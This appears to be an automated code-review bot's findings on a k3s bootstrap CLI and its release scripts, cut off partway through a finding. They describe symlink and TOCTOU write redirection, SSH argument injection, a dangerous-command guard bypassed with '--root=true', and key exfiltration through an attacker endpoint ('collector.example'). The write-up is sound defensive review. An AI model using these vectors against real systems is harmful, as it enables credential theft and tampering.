- Change relation: unknown
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The repository does not establish whether arbitrary HTTPS endpoints are an intentional supported deployment feature; if they are, the finding would instead require an explicit user-trust boundary and prominent warning.
🤖 Prompt for AI agents
In core/src/client.rs, address this finding:
The HTTPS client accepts any string beginning with `https://` as a valid API endpoint and sends the bearer token and command to it, so a typo or attacker-controlled `--endpoint` such as `https://collector.example/exec` exfiltrates `EXE_DEV_API_KEY` (and commands). The documented API contract is specifically `https://exe.dev/exec`; scheme-only validation does not establish that destination. This is introduced/exposed by the configurable endpoint plus the new validation, and would be disproven only if callers are guaranteed out-of-band to constrain the endpoint host before this client is reached.
`k3s_pidfile_alive` compared the recorded pid's `comm` against `k3s`, but the pid belongs to the backgrounded wrapper — `sudo` when the SSH user is not root, `nohup` otherwise — so it never matched. The agent wait loop would have burned all 30 iterations and reported `k3s agent did not stay running` against a healthy agent, and the server path would have started a second k3s on the next run. The full argument vector names k3s through those wrappers and still catches a pid reused by something else. The FNV-1a multiplier was 0x1000000001b3, one digit too long and 16x the actual prime, so the digest keeping two sanitized cluster names apart mixed far less than the comment claimed. Reference vectors now pin it. Sanitizing the state directory name relocated existing state: a cluster named `prod.example` would have started from an empty directory, minted a new token and installed a server its agents could not join. Its previous directory is moved across on first use, marked TODO for removal. `require_env` validated the trimmed value and returned the untrimmed one, so the same K3S_TOKEN yielded one credential in New mode and another in Existing mode, and a TS_AUTHKEY with a trailing newline reached `tailscale up` inside quotes. Bootstrap re-read `ls` immediately after creating VMs, when provisioning has not necessarily surfaced their destinations yet, so the flow that creates VMs was the one least likely to get them. The creation responses now supply them. `team settings auto-join` took any string while the guard matches only the literal `on`, so `ON` widened team membership without a prompt. `resize` and `cp` change the bill as directly as the commands already in the guard's spending category, which the skill publishes as a table. An empty response body is no longer read as an empty inventory, and a generic `name` field must look like a VM name before it becomes one; `vm_name` is still taken as given. Also: the dispatch tag is validated before it is interpolated into an API path, `same_cluster_endpoint` returns the bool its callers use, the readiness loop no longer carries two copies of its retry tail, and the removal of `new --command` is documented where the coverage lists are.
There was a problem hiding this comment.
Actionable comments posted: 8
🛠️ To have the bot fix these findings, comment @winnowl fix.
🔎 Confirmed findings (8)
- 🟠 High The lockfile is not protected against symlink redirection. When
Cargo.lockis a symlink, the script's[[ -f "$LOCKFILE" ]]check passes,require_free_siblingchecks only.tmp/.next/.bak, andcp "$target" "$target.bak"follows the lockfile symlink; subsequent Cargo updates and rollback operations can therefore read or write a file outside the repository. This violates the required safe persistent rewrite behavior and can modify an attacker-chosen target in a checkout. The claim would be false if the execution environment independently guarantees Cargo.lock can never be symlinked, but the script itself does not enforce that. (inline) - 🟠 High The staged/backup sibling checks are vulnerable to pathname TOCTOU races: after
require_free_siblingobserves the names absent, another process can create a symlink attarget.tmp,target.next, ortarget.bakbeforecp,mv, or cleanup. Those operations follow or remove the attacker-controlled pathname, allowing writes outside the workspace or deletion of an unrelated target, despite the script's concurrency protocol. The claim would be false only if the lock directory were enforced against every other process that can manipulate these paths; the lock is private to this script and does not make pathname operations atomic against an uncooperative process. (inline) - 🟠 High The staged protocol has a pathname TOCTOU window:
require_free_siblingchecks that each.tmp/.bakpath is absent, but later the shell redirection creates.tmpandcpcreates.bakby pathname. A concurrent local process can replace one checked name with a symlink after the check; the awk output or backup then follows it, allowing writes outside the repository (and cleanup can remove the linked target). The.set-version.lockonly coordinates other cooperating invocations of this script and cannot enforce this filesystem invariant. (inline) - 🟠 High The script can mix assets from different release states because it downloads each platform through a mutable tag URL in a separate curl invocation and never pins or verifies the release identity. If the tag or its assets change between iterations, the generated formula contains per-platform SHA256 values from different releases; later Homebrew downloads can then fail checksum verification or install a split release. (inline)
- 🟠 High SSH retries can re-execute a remote bootstrap step after the remote side has already started running it. The retry gate treats an empty stdout stream as proof that the remote command did not run (
let remote_ran = !output.stdout.is_empty()), but a connection can be lost before the wrapper's final status marker is delivered even after the script has performed side effects (for example, the script installs/starts a service and then sshd/network disappears before any output reaches the client). In that case ssh exits 255 with no captured stdout, and the same stdin script is sent again, potentially repeating installation/service changes. This violates the no-retry-after-possible-execution invariant; it would be disproven only if the SSH transport guaranteed that status 255 with zero stdout necessarily means the remote shell never received or executed any command, which SSH does not guarantee. The existing tests cover destination construction and parsing but do not exercise a transport drop after remote execution with empty output. (inline) - 🟠 High SSH transport retry can rerun a remote bootstrap script after the remote side has already executed it. (inline)
- 🟠 High New-cluster bootstrap can durably replace a valid generated token with an empty token if the remote token read succeeds but returns empty/whitespace output.
fetch_k3s_node_tokentrims the response but does not reject empty, andwrite_secret_filethen persists it; subsequent agents receive an empty token and the persisted state is corrupted for later retries. (inline) - 🟠 High Legacy-state adoption can escape
.exedev-k8sand rename an arbitrary directory because it joins the raw cluster name before validating/sanitizing it. (inline)
⛔ Unresolved from previous review (18) — not approved until fixed
- scripts/release/set-version.sh:
Cargo.locksymlinks are not rejected, so a failed run changes the lockfile's object type and can break the workspace's lockfile location. WithCargo.locksymlinked tobuild/locked/Cargo.lock, the script accepts it ([[ -f ]]), backs up the target contents, thenmv .../Cargo.lock.tmp Cargo.lockreplaces the symlink with a regular file; ifcargo updatefails, cleanup restores the backup as another regular file, permanently deleting the symlink (and a later successful run likewise leaves the symlink replaced). A brokenCargo.locksymlink is treated as a missing lockfile andrm -f Cargo.lockon failure deletes that symlink outright. - scripts/release/set-version.sh: The release lock is not recoverable after an untrappable termination: a SIGKILL (runner cancellation/host loss) after staging or applying leaves
.set-version.lock,.tmp, and possibly.bakfiles, and the next invocation first refuses the stale lock and, after manually removing it, refuses the stale siblings. If the kill occurred after some moves, the workspace can remain split between versions with no supported automatic restoration path. - scripts/release/sync-homebrew-tap.sh: The symlink checks and realpath confinement are TOCTOU checks, not protection for the actual write. After
-L "$TAP_FORMULA_PATH"andFORMULA_PARENT_REALpass, a local attacker who can modify the tap directory can replace the formula file with a symlink (or replace a checked parent directory with a symlink) while the four release archives are downloaded/validated. The finalcat > "$TAP_FORMULA_PATH"follows that replacement and truncates/writes the symlink target outside the tap, potentially overwriting an arbitrary attacker-selected writable file. This is disproven only if the tap tree is guaranteed immutable/unmodifiable by other users/processes for the whole invocation, not merely trusted at startup. - .github/workflows/release.yml: A tag can move after
verifypasses but before (or during)softprops/action-gh-release, and publication is still performed against the mutable tag name rather than an immutable commit. In that race the release assets can be attached to a release whose tag points at a different commit;confirmonly makes the workflow red after the bad release already exists and does not delete/repoint the release or assets. — The publish step still passes the mutable tag name to the release action, andverifyis a separate pre-publication check with no atomic reservation or immutable target. A tag can move afterverifysucceeds and before or duringsoftprops/action-gh-release; the action can then create/update the release for the moved tag, whileconfirmonly detects the mismatch afterward and does not undo the release or assets. - .github/workflows/release.yml: The workflow only detects a tag move after publication; it does not prevent publishing archives to a tag that changed after verification.
verifyreads and compares the tag, thenpublishseparately invokes the release action by mutabletag_name; a concurrent force-move between those jobs causes the action to attach the already-built archives to the new commit, andconfirmcan only fail after the mismatched release is live. — The workflow still performs a separate read-only verification and then publishes by mutable tag name:verifychecks the tag againstBUILT_SHA, whilepublishinvokes the release action withtag_name: ${{ needs.resolve.outputs.tag }}. A force-move after verification and before the publish API call can therefore still attach the archives to the new commit;confirmonly detects that mismatch afterward. - k8s_cli/src/manager/state.rs: The AlreadyExists branch treats any pre-existing regular file as the concurrent winner, so an attacker-planted destination (or a replacement after the link failure) is adopted as the cluster token without proving it was created by the competing bootstrap. — The
AlreadyExistshandler still removes the staging file and directly returnsread_secret_file(path). Althoughread_secret_filenow validates that the destination is a regular file and remains the same inode during the read, it does not establish that the file was created by the competing bootstrap. An attacker-planted regular destination (or a replacement before the read) can therefore still be adopted as the cluster token. - k8s_cli/src/manager/parsing.rs: Conflicting records for one VM silently overwrite the SSH destination instead of being rejected or treated as a conflict. For example, an outer record can report
{"vm_name":"worker-1","ssh_dest":"vm+worker-1@exe.dev"}while a later record inoutput/itemsreports the samevm_namewithssh_dest":"vm+other@exe.dev"; traversal order makes the latter destination authoritative, so bootstrap can run the worker's installation script against the wrong VM while still believing it is operating onworker-1. This is disproven only if the exe.dev API contract guarantees that duplicate names can never occur across the merged wrapper/record sources (including intermediary or stale records). — The duplicate-name conflict is still silently resolved by traversal order:collect_ssh_destinationscontinues to calldestinations.insert(name.to_string(), destination)for every matching record, so a later outer/nested/wrapped record with the same VM name replaces the earlier destination.parse_ssh_destinationsmerges the outer JSON and serializedoutput, and neither path detects or rejects differing destinations; bootstrap therefore can still receive the wrong SSH target. - k8s_cli/src/manager/parsing.rs: A valid JSON error response whose first output line starts with a syntactically valid VM name is treated as inventory when wrapped in the JSON
outputfield. For example{"output":"vm-1 is unavailable\n"}makesparse_vm_namesreturn{"vm-1"}because the text parser accepts the first token of every line and only rejects prose with non-name first tokens; bootstrap then suppresses creation of the planned VM. This is disproved only if wrapped non-JSON output is guaranteed always to be a table with a header, or the API guarantees errors cannot begin with a VM-shaped token. — The original consequence remains possible: inparse_vm_names, a JSON wrapper whoseoutputis not itself JSON still executesnames.extend(parse_vm_names_from_text(output)).parse_vm_names_from_textaccepts the first token of the first line when it is VM-shaped, so{"output":"vm-1 is unavailable\n"}still produces{"vm-1"}and can suppress creation. - k8s_cli/src/fleet.rs: Fleet validation does not validate the generated label/taint values derived from project and task map keys, so a syntactically parseable fleet can pass planning and create VMs before Kubernetes metadata application fails. For example, a task key
a/byieldsexedev.dev/task=a/band a poolproject-a/byields a malformed taintexedev.dev/pool=project-a/b:NoSchedule; Kubernetes label values cannot contain/, and the taint value is not safely representable in the kubectl argument. The code validates only user-supplied labels, then inserts project/task/pool names directly into NodeSpec. This is introduced/exposed by the schema expansion accepting arbitrary YAML map keys without corresponding generated-value validation. This would be disproven if an upstream schema/parser constrained project and task names to the Kubernetes-safe grammar, but serde map keys are currently unrestricted. —FleetFile::validatestill validates only user-supplied label keys and values; it never validates project/task or spare-pool map keys beforeto_plan()uses them. The current planner still insertsproject_nameandtask_namedirectly into generated labels and constructs the pool value/taint directly, so an unrestricted key such asa/bcan still produce invalid Kubernetes metadata after the fleet passes validation. - cli/src/ssh.rs: SSH fallback does not preserve argument boundaries for command values containing whitespace or shell metacharacters.
run_ssh_fallbackpasses each logical word withcommand.args(words), but OpenSSH concatenates those arguments into a remote command that the remote shell reparses; e.g.exedev-ctl comment vm 'staging copy'is sent ascomment vm staging copyand changes the comment arguments (and values containing;can become shell syntax). The displayedshell_joinquoting is not used for the actual SSH invocation. This is introduced by the new transport path; it would be disproven if the target SSH server were known to receive argv boundaries rather than a reparsed command string, which OpenSSH remote command execution does not provide. - The state-directory symlink defense is check-then-use and can be bypassed by swapping a checked directory component after
ensure_real_directoriesreturns but before staging/rename. An attacker able to modify the working directory can replace.exedev-k8sor the cluster directory with a symlink in that window; subsequentOpenOptions::openfollows it and writes the secret outside the state directory. The same pathname race affects reads becausesymlink_metadatachecks the final entry while parent components are followed duringFile::open. — The defect remains a check-then-use race.read_or_create_k3s_tokencallsensure_real_directories(parent)before later reads/creates, andprepare_secret_parentdoes the same beforestage_secret;stage_secretthen opens the staging pathname by name, whileopen_regular_filechecks metadata and subsequently callsfs::File::open(path). A concurrent replacement of.exedev-k8sor the cluster directory after the check can therefore still redirect those path-based operations through a symlink. - Plain-text fallback accepts arbitrary lowercase words as VM inventory entries, so non-table prose or malformed API responses can make an existing VM appear present and suppress creation/bootstrap. — The direct non-JSON path now errors, but the original inventory-injection defect remains for rendered text in a valid JSON
outputwrapper:parse_vm_names_from_textstill takes the first token of every non-header line and accepts any DNS-shaped lowercase word. For example,{"output":"bloggy unavailable\n"}yieldsbloggy, so prose or a malformed table can still make an existing VM appear present and suppress creation. - k8s_cli/src/manager/process.rs: A failed SSH exchange can retry after the remote script has already started, because retry eligibility checks only whether stdout is non-empty. If the remote side executes a state-changing install that emits only stderr (or the connection drops before the wrapper's stdout marker is delivered), ssh can exit 255 with empty stdout and the same script is resent up to four times. A failed stdin write after partial delivery has the same outcome when ssh exits 255. This violates the no-potential-execution retry invariant and can repeat Tailscale/k3s installation or service changes. — The retry gate still derives
remote_ransolely from stdout:let remote_ran = !output.stdout.is_empty();, and retries status 255 when stdout is empty. Thus a remote script that changes state but emits only stderr, or whose stdout/marker is lost before delivery, can still be resent; a failed partial stdin write followed by status 255 is likewise still eligible for retry. The surrounding comments do not alter that behavior. - .github/workflows/release.yml: The verify/confirm sequence does not prevent a tag race during publication: after
verifychecks the tag (lines 164-176), an actor can move it beforesoftprops/action-gh-releaseattaches the archives at lines 197-210. GitHub releases are attached by tag name, so the release can permanently contain binaries built fromBUILT_SHAwhile the tag points elsewhere;confirm(lines 216-237) only fails afterward and performs no deletion, retagging, or release correction. Thus a successful publish followed by a red workflow still leaves a mismatched public release. This is false only if the tag cannot be moved by any actor/token during the verify-to-publish window or if post-publication detection is explicitly considered sufficient rather than preventing the mismatch. — The race remains. The currentverifyjob performs a read of the tag beforepublish, butpublishstill invokessoftprops/action-gh-releasebytag_name; an actor can move the tag after that read and before or during attachment. The currentconfirmjob only reads the tag after publication and exits nonzero on a mismatch, without deleting or correcting the already-created release/assets, so the described mismatched public release can still remain. - k8s_cli/src/manager/mod.rs: New-cluster bootstrap can reuse an already-installed k3s server without verifying that it belongs to the requested cluster. — The defect remains:
create_missing_vmsstill treats a VM name alone as sufficient and skips creation, while New-mode bootstrap proceeds toinstall_k3s_server. The current server install command only checks for conflicting agent state and, when a supervisor-managed k3s binary/service already exists, starts the existingk3sservice without checking its cluster identity, token, or kubeconfig. Thus an existing k3s server from another cluster can still be reused. - scripts/release/sync-homebrew-tap.sh: The confinement check is pathname-based and can be bypassed by a concurrent symlink swap of a formula parent directory. After
FORMULA_PARENT_REALis checked, the script callsmktempand latermvusing the original path; if an attacker replaces a checked descendant (for exampletap/Formula/e) with a symlink to an outside directory,mktempcreates the staged file outside the tap andmvwrites there. The target-file symlink check does not protect parent components. This would be false only if the tap directory and all descendants were trusted against concurrent filesystem mutation for the entire run. - The publish job grants
contents: writeto every step in the job, not only to the GitHub Release action. Consequently the artifact download and tag-verification shell step execute with a write-capablegithub.token; compromise of the download action or a command/tool invoked before the publish step could mutate repository contents/releases, contrary to the scope's least-privilege requirement. This would be disproven only if GitHub Actions supported per-step reduction of the job token here or the preceding steps demonstrably received a separate read-only token, neither of which this workflow configures. — The tag-verification shell step was moved into the read-onlyverifyjob, butpublishstill declarespermissions: contents: writeand itsDownload release archivesstep remains in that job. Since GitHub Actions applies the job token permissions to every step in the job, the download action still executes with a write-capablegithub.token; the least-privilege defect therefore remains for that preceding step. - k8s_cli/src/manager/process.rs: A transport-status-255 retry can rerun a non-idempotent bootstrap after the remote side has already executed it.
capture_remote_ssh_outputretries solely fromoutput.status.code() == Some(255)and ignores whether stdout already contains the wrapper's__EXEDEV_K8S_EXIT__:marker. For example, sshd runs the k3s install through the wrapper, the VM completes and starts k3s, then the client loses the connection before/while receiving the final output; ssh exits 255 and the loop sends the full install script again. This violates the no-duplicate-state-changing-step invariant; the retry is safe only when the exchange establishes that the remote command did not complete (or the operation is explicitly idempotent). This would be disproven if the SSH/remote wrapper contract guaranteed status 255 is emitted only before remote script execution, or if all retried scripts were proven idempotent. — The retry is narrower but the defect remains:capture_remote_ssh_outputretries status 255 wheneveroutput.stdoutis empty (let remote_ran = !output.stdout.is_empty(); ... && !remote_ran). A remote script can execute and complete without producing ordinary stdout, while the connection is lost before the wrapper's final marker reaches the client; the resulting captured stdout is empty and the full non-idempotent script is sent again. The current code does not establish that remote execution did not occur, and it does not require or otherwise use receipt of the exit marker to make the retry safe.
⚠️ Unverified risks (1)
- Raw destructive commands using boolean equals-form flags can bypass the local dangerous-command prompt. For example,
exedev-ctl exec -- share add vm user@example.com --root=trueis classified as non-dangerous becausegrants_shell_accessonly checks for a token exactly equal to--root; likewiseexec -- integrations setup github --list --delete=trueis treated as read-only becauseis_read_only_integrations_setuponly recognizes the exact token--delete. If the exe.dev command parser accepts standard clap-style--flag=trueboolean syntax, these commands grant shell access or mutate/disconnect an integration without the required confirmation. This is introduced by the new token-based guard and can be disproved only if the server definitively rejects all equals-form boolean flags before performing the action. (core/src/shell.rs)
📋 Additional findings from this change (not shown inline) (11)
- 🟠 High The server-role guard does not detect an agent installed by the no-supervisor fallback.
require_no_k3s_agent_state_for_serverchecks only thek3s-agentservice and then permits the server when no supervisor exists; it never checks the agent data directory or/var/run/exedev-k8s-k3s-agent.pid. On an image without systemd/OpenRC, after an agent bootstrap leaves/var/lib/rancher/k3s/agentand its process running, a later control-plane bootstrap passes this guard and startsk3s serveron the same VM, producing a mixed-role node and conflicting k3s state. This is disproven only if fallback agents are guaranteed never to remain on a VM before role changes (for example, VMs are always destroyed). (k8s_cli/src/manager/scripts.rs) — anchor-outside-diff - 🟠 High The supervisor install pipeline can report success when the k3s installer download fails. Because the script does not enable
pipefail,curl -sfL https://get.k3s.io | ... sh -s ...returns the status ofsh; a curl/TLS/network failure can leaveshwith EOF and status 0, after which the script starts the service (or relies on a stale unit) instead of failing the install. This is especially harmful in the supervisor branch because it bypasses the checksum-verified binary fallback. (k8s_cli/src/manager/scripts.rs) — anchor-unreliable - 🟡 Medium An explicitly empty version argument is silently replaced by
RELEASE_TAG, so the script can rewrite the workspace to a version different from the argument supplied by its caller. For example, withRELEASE_TAG=v0.1.11,set-version.sh ''evaluatesVERSIONasv0.1.11and succeeds instead of rejecting the empty argument. This violates the script's input contract and can produce a mismatched build when a wrapper intentionally passes an empty value; it would be false only if callers are guaranteed never to pass an empty positional argument and the script is not required to distinguish that from an omitted argument. (scripts/release/set-version.sh) — per-file-budget - 🟡 Medium An explicit target path can generate a formula whose filename and Homebrew class do not match the configured formula name. (scripts/release/sync-homebrew-tap.sh) — per-file-budget
- 🟡 Medium The tap-root confinement check is TOCTOU-unsafe: after FORMULA_PARENT_REAL is checked, an attacker can replace the parent directory with a symlink and redirect the staged formula write outside the tap. (scripts/release/sync-homebrew-tap.sh) — per-file-budget
- 🟡 Medium Project/task and spare-pool map names are interpolated into generated label values and taint values without validation. For example, a fleet with project key
team one(or task keya/b) passesvalidate, but planning producesexedev.dev/project=team one/exedev.dev/task=a/band an isolation taint containing the same invalid value;kubectl label/taintthen fails only after VM creation/bootstrap has begun. (k8s_cli/src/fleet.rs) — anchor-outside-diff - 🟡 Medium The documented
fleet.example.yamlis rejected by the new validation: itssparePools.ingress.labelscontainsexedev.dev/role: ingress, butvalidateunconditionally rejects every user-suppliedexedev.dev/role. Thus the repository's stated starter configuration cannot be loaded, violating compatibility with the example and making the intended ingress role impossible to configure. (fleet.example.yaml) — anchor-outside-diff - 🟡 Medium The server path treats any existing kubeconfig as proof that the newly requested server started, and it ignores the failure from the nonblocking start. On a VM with a stale
/etc/rancher/k3s/k3s.yamlbut a stopped/brokenk3sservice,start_k3s_service_no_block k3scan fail, the loop immediately sees the old non-empty file, and the bootstrap exits 0 even though this VM is not serving the cluster. (k8s_cli/src/manager/scripts.rs) — anchor-outside-diff - 🟡 Medium Checksum verification does not make the temporary download safe against a local symlink attack. The binary and checksum paths are predictable
/tmpnames based on$$;curl -ofollows an attacker-created symlink at that path, and after the checksum matches the script runschmodand privilegedchownon the same pathname before moving it. A local user able to race/create that symlink can cause the downloaded bytes to overwrite an arbitrary writable file and causesudo chown root:root(and chmod) to follow it, despite successful checksum verification. (k8s_cli/src/manager/scripts.rs) — inline-budget - 🟡 Medium Publishing a secret does not durably sync newly created ancestor directory entries, so a crash can lose the newly created cluster-state directory (and therefore the token/kubeconfig) even though the file and its immediate parent were fsynced. (k8s_cli/src/manager/state.rs) — inline-budget
- 🟡 Medium Whitespace-bearing authoritative SSH destinations are accepted after trimming, contrary to the destination-integrity requirement. (k8s_cli/src/manager/parsing.rs) — inline-budget
♻️ Previously reported (still present) (3)
- 🟠 High The tap write confinement check has a TOCTOU gap: it resolves and validates
FORMULA_PARENT_REALwithcd -P, then later creates a staged file and performsmv -f "$FORMULA_STAGED" "$TAP_FORMULA_PATH". Another process can replace a validated parent directory with a symlink after the check, causing the final destination pathname to resolve outside the tap checkout. The script therefore does not fully satisfy refusal of symlink/path redirection at write time. This would be false only if the tap directory and its parents are trusted and immutable for the whole run, which is not enforced by the script. (scripts/release/sync-homebrew-tap.sh) — previously-reported - 🟠 High The verify/publish/confirm sequence does not actually prevent publishing a release for a tag that moves after verification:
publishattaches assets by tag name afterverifyhas completed, so a concurrent force-push (or delete/recreate) between those jobs can make the release point at a different commit.confirmonly detects the mismatch after publication and fails the workflow; it does not undo the already-created/updated release or its assets. (.github/workflows/release.yml) — previously-reported - 🟡 Medium The Homebrew script can combine assets from different revisions when the release tag moves during its download loop. Each platform archive is fetched independently from a mutable
/releases/download/$RELEASE_TAG/...URL, with no immutable release ID or commit/tag consistency check; if the tag is retargeted between iterations, the generated formula records four SHA256s belonging to a mixture of releases. Users then receive platform-dependent binaries from different source revisions under one formula version. This would be false only if the tag/release asset URLs were externally guaranteed immutable for the entire run, which GitHub tag-based download URLs do not provide. (scripts/release/sync-homebrew-tap.sh) — previously-reported
❓ Low-evidence leads (not confirmed — verify before acting) (2)
- The archive member validation does not reliably prove that every expected member is a regular file because it parses human-oriented
tar -tvzfoutput with whitespace splitting and checks only the first character of the mode field. Filenames containing spaces are split into multiple fields and may be reported missing or misidentified, while tar listing formats/options can place metadata differently; additionally, duplicate entries are accepted as long as no non-regular duplicate is detected, even though extraction order determines the final installed object. This violates the stated invariant that install-referenced archive members are verified regular files. The claim would be false if the release packaging permanently restricted all member names to the current space-free fixed list and the runner's tar output format is guaranteed, but the script does not encode that guarantee robustly. (scripts/release/sync-homebrew-tap.sh) - Tailnet Lock detection invokes
tailscale lock statuswithout the privilege wrapper, so a non-root bootstrap user that relies onSUDOcan fail to read lock status and skip the required lockout pause/signature path. (k8s_cli/src/manager/scripts.rs)
🤖 Prompt for AI agents — all findings (40)
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
## Unresolved from the previous review — these block approval, fix them first (18)
In scripts/release/set-version.sh, address this finding:
`Cargo.lock` symlinks are not rejected, so a failed run changes the lockfile's object type and can break the workspace's lockfile location. With `Cargo.lock` symlinked to `build/locked/Cargo.lock`, the script accepts it (`[[ -f ]]`), backs up the target contents, then `mv .../Cargo.lock.tmp Cargo.lock` replaces the symlink with a regular file; if `cargo update` fails, cleanup restores the backup as another regular file, permanently deleting the symlink (and a later successful run likewise leaves the symlink replaced). A broken `Cargo.lock` symlink is treated as a missing lockfile and `rm -f Cargo.lock` on failure deletes that symlink outright.
In scripts/release/set-version.sh, address this finding:
The release lock is not recoverable after an untrappable termination: a SIGKILL (runner cancellation/host loss) after staging or applying leaves `.set-version.lock`, `.tmp`, and possibly `.bak` files, and the next invocation first refuses the stale lock and, after manually removing it, refuses the stale siblings. If the kill occurred after some moves, the workspace can remain split between versions with no supported automatic restoration path.
In scripts/release/sync-homebrew-tap.sh, address this finding:
The symlink checks and realpath confinement are TOCTOU checks, not protection for the actual write. After `-L "$TAP_FORMULA_PATH"` and `FORMULA_PARENT_REAL` pass, a local attacker who can modify the tap directory can replace the formula file with a symlink (or replace a checked parent directory with a symlink) while the four release archives are downloaded/validated. The final `cat > "$TAP_FORMULA_PATH"` follows that replacement and truncates/writes the symlink target outside the tap, potentially overwriting an arbitrary attacker-selected writable file. This is disproven only if the tap tree is guaranteed immutable/unmodifiable by other users/processes for the whole invocation, not merely trusted at startup.
In .github/workflows/release.yml, address this finding:
A tag can move after `verify` passes but before (or during) `softprops/action-gh-release`, and publication is still performed against the mutable tag name rather than an immutable commit. In that race the release assets can be attached to a release whose tag points at a different commit; `confirm` only makes the workflow red after the bad release already exists and does not delete/repoint the release or assets.
In .github/workflows/release.yml, address this finding:
The workflow only detects a tag move after publication; it does not prevent publishing archives to a tag that changed after verification. `verify` reads and compares the tag, then `publish` separately invokes the release action by mutable `tag_name`; a concurrent force-move between those jobs causes the action to attach the already-built archives to the new commit, and `confirm` can only fail after the mismatched release is live.
In k8s_cli/src/manager/state.rs, address this finding:
The AlreadyExists branch treats any pre-existing regular file as the concurrent winner, so an attacker-planted destination (or a replacement after the link failure) is adopted as the cluster token without proving it was created by the competing bootstrap.
In k8s_cli/src/manager/parsing.rs, address this finding:
Conflicting records for one VM silently overwrite the SSH destination instead of being rejected or treated as a conflict. For example, an outer record can report `{"vm_name":"worker-1","ssh_dest":"vm+worker-1@exe.dev"}` while a later record in `output`/`items` reports the same `vm_name` with `ssh_dest":"vm+other@exe.dev"`; traversal order makes the latter destination authoritative, so bootstrap can run the worker's installation script against the wrong VM while still believing it is operating on `worker-1`. This is disproven only if the exe.dev API contract guarantees that duplicate names can never occur across the merged wrapper/record sources (including intermediary or stale records).
In k8s_cli/src/manager/parsing.rs, address this finding:
A valid JSON error response whose first output line starts with a syntactically valid VM name is treated as inventory when wrapped in the JSON `output` field. For example `{"output":"vm-1 is unavailable\n"}` makes `parse_vm_names` return `{"vm-1"}` because the text parser accepts the first token of every line and only rejects prose with non-name first tokens; bootstrap then suppresses creation of the planned VM. This is disproved only if wrapped non-JSON output is guaranteed always to be a table with a header, or the API guarantees errors cannot begin with a VM-shaped token.
In k8s_cli/src/fleet.rs, address this finding:
Fleet validation does not validate the generated label/taint values derived from project and task map keys, so a syntactically parseable fleet can pass planning and create VMs before Kubernetes metadata application fails. For example, a task key `a/b` yields `exedev.dev/task=a/b` and a pool `project-a/b` yields a malformed taint `exedev.dev/pool=project-a/b:NoSchedule`; Kubernetes label values cannot contain `/`, and the taint value is not safely representable in the kubectl argument. The code validates only user-supplied labels, then inserts project/task/pool names directly into NodeSpec. This is introduced/exposed by the schema expansion accepting arbitrary YAML map keys without corresponding generated-value validation. This would be disproven if an upstream schema/parser constrained project and task names to the Kubernetes-safe grammar, but serde map keys are currently unrestricted.
In cli/src/ssh.rs, address this finding:
SSH fallback does not preserve argument boundaries for command values containing whitespace or shell metacharacters. `run_ssh_fallback` passes each logical word with `command.args(words)`, but OpenSSH concatenates those arguments into a remote command that the remote shell reparses; e.g. `exedev-ctl comment vm 'staging copy'` is sent as `comment vm staging copy` and changes the comment arguments (and values containing `;` can become shell syntax). The displayed `shell_join` quoting is not used for the actual SSH invocation. This is introduced by the new transport path; it would be disproven if the target SSH server were known to receive argv boundaries rather than a reparsed command string, which OpenSSH remote command execution does not provide.
Somewhere in the code under review, address this finding:
The state-directory symlink defense is check-then-use and can be bypassed by swapping a checked directory component after `ensure_real_directories` returns but before staging/rename. An attacker able to modify the working directory can replace `.exedev-k8s` or the cluster directory with a symlink in that window; subsequent `OpenOptions::open` follows it and writes the secret outside the state directory. The same pathname race affects reads because `symlink_metadata` checks the final entry while parent components are followed during `File::open`.
Somewhere in the code under review, address this finding:
Plain-text fallback accepts arbitrary lowercase words as VM inventory entries, so non-table prose or malformed API responses can make an existing VM appear present and suppress creation/bootstrap.
In k8s_cli/src/manager/process.rs, address this finding:
A failed SSH exchange can retry after the remote script has already started, because retry eligibility checks only whether stdout is non-empty. If the remote side executes a state-changing install that emits only stderr (or the connection drops before the wrapper's stdout marker is delivered), ssh can exit 255 with empty stdout and the same script is resent up to four times. A failed stdin write after partial delivery has the same outcome when ssh exits 255. This violates the no-potential-execution retry invariant and can repeat Tailscale/k3s installation or service changes.
In .github/workflows/release.yml, address this finding:
The verify/confirm sequence does not prevent a tag race during publication: after `verify` checks the tag (lines 164-176), an actor can move it before `softprops/action-gh-release` attaches the archives at lines 197-210. GitHub releases are attached by tag name, so the release can permanently contain binaries built from `BUILT_SHA` while the tag points elsewhere; `confirm` (lines 216-237) only fails afterward and performs no deletion, retagging, or release correction. Thus a successful publish followed by a red workflow still leaves a mismatched public release. This is false only if the tag cannot be moved by any actor/token during the verify-to-publish window or if post-publication detection is explicitly considered sufficient rather than preventing the mismatch.
In k8s_cli/src/manager/mod.rs, address this finding:
New-cluster bootstrap can reuse an already-installed k3s server without verifying that it belongs to the requested cluster.
In scripts/release/sync-homebrew-tap.sh, address this finding:
The confinement check is pathname-based and can be bypassed by a concurrent symlink swap of a formula parent directory. After `FORMULA_PARENT_REAL` is checked, the script calls `mktemp` and later `mv` using the original path; if an attacker replaces a checked descendant (for example `tap/Formula/e`) with a symlink to an outside directory, `mktemp` creates the staged file outside the tap and `mv` writes there. The target-file symlink check does not protect parent components. This would be false only if the tap directory and all descendants were trusted against concurrent filesystem mutation for the entire run.
Somewhere in the code under review, address this finding:
The publish job grants `contents: write` to every step in the job, not only to the GitHub Release action. Consequently the artifact download and tag-verification shell step execute with a write-capable `github.token`; compromise of the download action or a command/tool invoked before the publish step could mutate repository contents/releases, contrary to the scope's least-privilege requirement. This would be disproven only if GitHub Actions supported per-step reduction of the job token here or the preceding steps demonstrably received a separate read-only token, neither of which this workflow configures.
In k8s_cli/src/manager/process.rs, address this finding:
A transport-status-255 retry can rerun a non-idempotent bootstrap after the remote side has already executed it. `capture_remote_ssh_output` retries solely from `output.status.code() == Some(255)` and ignores whether stdout already contains the wrapper's `__EXEDEV_K8S_EXIT__:` marker. For example, sshd runs the k3s install through the wrapper, the VM completes and starts k3s, then the client loses the connection before/while receiving the final output; ssh exits 255 and the loop sends the full install script again. This violates the no-duplicate-state-changing-step invariant; the retry is safe only when the exchange establishes that the remote command did not complete (or the operation is explicitly idempotent). This would be disproven if the SSH/remote wrapper contract guaranteed status 255 is emitted only before remote script execution, or if all retried scripts were proven idempotent.
## Findings on this change (also posted as inline comments) (8)
In scripts/release/set-version.sh around line 168, address this finding:
